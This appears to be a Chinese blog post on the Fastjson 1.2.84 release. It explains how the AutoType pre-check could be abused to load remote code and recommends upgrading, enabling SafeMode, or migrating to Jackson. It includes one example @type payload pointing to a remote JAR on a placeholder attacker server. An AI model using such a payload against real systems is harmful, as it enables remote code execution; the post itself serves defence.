新文章

上周长亭科技向 Fastjson 官方提交了一份新的安全异常报告。Fastjson 1.2.84 发布,官方把它定位为 1.x 架构线的「终极安全维护版本」。

说是「终极」,但说实话,这话听着有点耳熟——上次 1.2.83 出来的时候,大家也以为那就是最后一份补丁了。Fastjson 1.x 这条线早就进了归档状态,但架不住安全漏洞隔三差五往外冒,每冒一次就得再发一次补丁

同一天,Fastjson2 也发了 2.0.63。三天后,8 月 2 日,又追加了 2.0.64。

如果你手上也有几个还挂着老版本 fastjson 依赖的项目,这篇文章可能帮得上忙。

又是 AutoType

Fastjson 安全问题,几乎每次都是 AutoType 相关的。

简单说,Fastjson 支持在 JSON 里塞一个 @type 字段,告诉它反序列化时该还原成哪个 Java 类。这个功能本身没问题,但为了判断 @type 里的类名能不能放行,1.2.68 之后的版本在检查流程里加了一步预检:先用这个类名去做一次资源探测(getResourceAsStream),看看目标类上有没有 @JSONType 注解,有的话就认为是自己人,放行。

攻击者利用了这一点:把 @type 写成一个远程 JAR 地址(如 jar:http://攻击者服务器/evil.jar!/EvilClass),Fastjson 在探测阶段就去拉这个远程 JAR。在 Spring Boot Fat-Jar 环境下,类加载器刚好能解析这种地址——远程类被加载,静态初始化块一执行,攻击者的代码就跑起来了。

1.2.84 的修法很简单:合法的 Java 类名根本不会出现 :!,所以在探测之前直接拒掉含这些字符的类名,不让你走到那一步。

修复方案

第一档:升到 1.2.84

适合「这个模块还能跑,但没人敢大改」的项目。

改一下版本号就行:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>

如果连升级都暂时排不上排期,至少把 SafeMode 打开——加个 JVM 参数 -Dfastjson.parser.safeMode=true,或者代码里 ParserConfig.getGlobalInstance().setSafeMode(true)。这一步不治本,但能把风险先按住。

第二档:换 Jackson

如果项目本来就在计划技术栈升级,顺路把 JSON 库也换了是划算的。Jackson 是 Spring 官方内置推荐的 JSON 库,安全模型和维护活跃度都比 Fastjson 1.x 让人放心。

但这条路不轻松。序列化配置、日期格式、字段命名策略,Fastjson 和 Jackson 之间不是一一对应的,迁移基本等于把所有 JSON 相关代码重新摸一遍。如果只是因为这次安全公告才动了换库的念头,先别急——1.2.84 已经把眼下的风险处理掉了,Jackson 更适合当作长期规划,不是这周就要交的作业。